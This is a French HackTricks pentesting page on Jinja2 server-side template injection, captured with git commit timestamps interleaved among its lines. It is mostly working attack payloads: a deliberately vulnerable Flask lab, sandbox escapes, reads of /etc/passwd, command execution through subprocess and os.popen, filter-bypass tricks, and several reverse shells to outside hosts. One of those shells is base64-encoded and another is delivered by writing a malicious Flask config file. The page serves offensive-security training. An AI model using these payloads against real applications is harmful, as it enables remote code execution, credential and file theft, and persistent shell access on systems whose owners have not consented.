hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

314 lines
14 KiB
Markdown
Raw Normal View History

# Jinja2 SSTI
2022-07-20 01:03:41 +00:00
<details>
2023-06-03 13:10:46 +00:00
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-03 13:10:46 +00:00
Autres moyens de soutenir HackTricks :
2023-06-03 13:10:46 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-03 13:10:46 +00:00
</details>
2023-06-03 13:10:46 +00:00
## **Lab**
2022-07-20 01:03:41 +00:00
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
2022-07-20 01:03:41 +00:00
if __name__ == "__main__":
app.run()
2022-07-20 01:03:41 +00:00
```
2023-06-03 13:10:46 +00:00
## **Divers**
2022-07-20 01:03:41 +00:00
### **Instruction de débogage**
2022-07-20 01:03:41 +00:00
Si l'extension Debug est activée, une balise `debug` sera disponible pour vider le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
2022-07-20 01:03:41 +00:00
```python
<pre>
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% debug %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
</pre>
```
### **Vider toutes les variables de configuration**
2022-07-20 01:03:41 +00:00
```python
{{ config }} #In these object you can find all the configured env variables
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
2022-11-05 10:28:41 +00:00
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
2022-07-20 01:03:41 +00:00
{% endfor %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
```
2023-06-03 13:10:46 +00:00
## **Injection Jinja**
2022-07-20 01:03:41 +00:00
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de sortir du sandbox** et de récupérer l'accès au flux d'exécution python régulier. Pour ce faire, vous devez **abuser des objets** qui sont **issus de** l'environnement **non-sandboxé mais qui sont accessibles depuis le sandbox**.
2022-07-20 01:03:41 +00:00
### Accéder aux Objets Globaux
2022-07-20 01:03:41 +00:00
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement python non-sandboxé** et seront **accessibles** à l'intérieur de l'environnement **sandboxé.**\
De plus, il y a d'autres objets qui seront **toujours accessibles depuis l'environnement sandboxé**, ce sont :
2022-07-20 01:03:41 +00:00
```
[]
''
()
dict
config
request
```
2023-06-03 13:10:46 +00:00
### Récupération de \<class 'object'>
2022-07-20 01:03:41 +00:00
Ensuite, à partir de ces objets, nous devons atteindre la classe : **`<class 'object'>`** afin d'essayer de **récupérer** les **classes** définies. Cela est dû au fait qu'à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non-sandboxé**.
2022-07-20 01:03:41 +00:00
Pour accéder à cette **classe objet**, vous devez **accéder à un objet classe** puis accéder soit à **`__base__`**, **`__mro__()`[-1]** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
2022-07-20 01:03:41 +00:00
Vérifiez ces exemples :
2022-07-20 01:03:41 +00:00
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
2022-07-20 01:03:41 +00:00
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Évasion de l'exécution de code à distance (RCE)
2022-07-20 01:03:41 +00:00
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
2022-07-20 01:03:41 +00:00
L'appel à `__subclasses__` nous a donné l'opportunité **d'accéder à des centaines de nouvelles fonctions**, nous serons satisfaits juste en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
2022-07-20 01:03:41 +00:00
**Lire/Écrire un fichier distant**
2022-07-20 01:03:41 +00:00
```python
2022-11-05 10:28:41 +00:00
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
2022-07-20 01:03:41 +00:00
```
**Exécution de commande à distance (RCE)**
2022-07-20 01:03:41 +00:00
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
```
Pour en savoir plus sur **d'autres classes** que vous pouvez utiliser pour **échapper**, vous pouvez **consulter** :
2022-07-20 01:03:41 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Contournements de filtres
2022-07-20 01:03:41 +00:00
#### Contournements communs
2022-07-20 01:03:41 +00:00
2023-06-03 13:10:46 +00:00
Ces contournements nous permettront d'**accéder** aux **attributs** des objets **sans utiliser certains caractères**.\
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici :
2022-07-20 01:03:41 +00:00
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
```
* [**Retournez ici pour plus d'options d'accès à un objet global**](jinja2-ssti.md#accessing-global-objects)
* [**Retournez ici pour plus d'options d'accès à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Lisez ceci pour obtenir une exécution de commande à distance sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
2022-07-20 01:03:41 +00:00
2023-06-03 13:10:46 +00:00
**Éviter l'encodage HTML**
2022-07-20 01:03:41 +00:00
Par défaut, Flask encode en HTML tout l'intérieur d'un template pour des raisons de sécurité :
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** que cela soit **codé en HTML**, comme ceci :
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**Exécution de code à distance par écriture d'un fichier de configuration malveillant.**
2022-07-20 01:03:41 +00:00
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
2022-07-20 01:03:41 +00:00
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
2022-07-20 01:03:41 +00:00
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
2023-06-03 13:10:46 +00:00
## Sans plusieurs caractères
2022-07-20 01:03:41 +00:00
2023-06-03 13:10:46 +00:00
Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
2023-02-23 14:32:10 +00:00
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
2023-03-05 22:20:47 +00:00
2023-02-23 14:32:10 +00:00
```
2023-06-03 13:10:46 +00:00
## Injection Jinja sans **\<class 'object'>**
2023-02-23 14:32:10 +00:00
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre manière d'obtenir un **RCE sans utiliser cette classe.**\
Si vous parvenez à accéder à n'importe quelle **fonction** de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, le **RCE** est très **simple**.
2022-07-20 01:03:41 +00:00
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout **autre objet global** intéressant auquel vous avez accès avec :
2022-07-20 01:03:41 +00:00
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les builtins avec :
2022-07-20 01:03:41 +00:00
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
2023-06-03 13:10:46 +00:00
## Références
2022-07-20 01:03:41 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Vérifiez [l'astuce attr pour contourner les caractères sur liste noire ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
2022-07-20 01:03:41 +00:00
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
2022-07-20 01:03:41 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-07-20 01:03:41 +00:00
</details>